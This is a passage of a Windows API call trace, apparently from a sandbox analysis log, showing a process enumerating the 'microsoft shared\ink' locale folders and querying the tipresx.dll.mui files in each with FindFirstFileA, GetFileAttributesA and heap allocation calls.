lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.273] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0123.273] GetCurrentThreadId () returned 0x9b0 [0123.273] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.273] GetCurrentThreadId () returned 0x9b0 [0123.273] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.273] GetCurrentThreadId () returned 0x9b0 [0123.274] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.274] GetCurrentThreadId () returned 0x9b0 [0123.274] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0123.274] GetCurrentThreadId () returned 0x9b0 [0123.274] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0123.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0123.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.275] GetCurrentThreadId () returned 0x9b0 [0123.275] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0123.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0123.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.276] GetCurrentThreadId () returned 0x9b0 [0123.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.276] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0123.276] GetCurrentThreadId () returned 0x9b0 [0123.276] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.276] GetCurrentThreadId () returned 0x9b0 [0123.276] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.277] GetCurrentThreadId () returned 0x9b0 [0123.277] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.277] GetCurrentThreadId () returned 0x9b0 [0123.277] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0123.277] GetCurrentThreadId () returned 0x9b0 [0123.277] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0123.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2148 | out: hHeap=0x2ad0000) returned 1 [0123.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0123.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.278] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.278] GetCurrentThreadId () returned 0x9b0 [0123.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.278] GetCurrentThreadId () returned 0x9b0 [0123.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.278] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0123.279] GetCurrentThreadId () returned 0x9b0 [0123.279] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.279] GetCurrentThreadId () returned 0x9b0 [0123.279] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.279] GetCurrentThreadId () returned 0x9b0 [0123.279] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.279] GetCurrentThreadId () returned 0x9b0 [0123.279] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0123.280] GetCurrentThreadId () returned 0x9b0 [0123.280] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0123.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0123.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.280] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x4d [0123.280] GetCurrentThreadId () returned 0x9b0 [0123.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0123.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0123.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0123.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0123.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.281] GetCurrentThreadId () returned 0x9b0 [0123.281] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0123.281] GetCurrentThreadId () returned 0x9b0 [0123.281] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.281] GetCurrentThreadId () returned 0x9b0 [0123.282] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.282] GetCurrentThreadId () returned 0x9b0 [0123.282] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.282] GetCurrentThreadId () returned 0x9b0 [0123.282] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0123.282] GetCurrentThreadId () returned 0x9b0 [0123.282] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0123.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2148 | out: hHeap=0x2ad0000) returned 1 [0123.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0123.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.283] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.283] GetCurrentThreadId () returned 0x9b0 [0123.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0123.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0123.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0123.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0123.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.283] GetCurrentThreadId () returned 0x9b0 [0123.283] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0123.284] GetCurrentThreadId () returned 0x9b0 [0123.284] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.284] GetCurrentThreadId () returned 0x9b0 [0123.284] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.284] GetCurrentThreadId () returned 0x9b0 [0123.284] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.284] GetCurrentThreadId () returned 0x9b0 [0123.284] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0123.285] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0123.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0123.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0123.285] GetCurrentThreadId () returned 0x9b0 [0123.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.285] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.285] GetCurrentThreadId () returned 0x9b0 [0123.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.286] GetCurrentThreadId () returned 0x9b0 [0123.286] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0123.286] GetCurrentThreadId () returned 0x9b0 [0123.286] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.286] GetCurrentThreadId () returned 0x9b0 [0123.286] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.286] GetCurrentThreadId () returned 0x9b0 [0123.287] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.287] GetCurrentThreadId () returned 0x9b0 [0123.287] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0123.287] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0123.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0123.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0123.287] GetCurrentThreadId () returned 0x9b0 [0123.288] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.288] GetCurrentThreadId () returned 0x9b0 [0123.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0123.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.288] GetCurrentThreadId () returned 0x9b0 [0123.288] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7850 [0123.289] GetCurrentThreadId () returned 0x9b0 [0123.289] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, 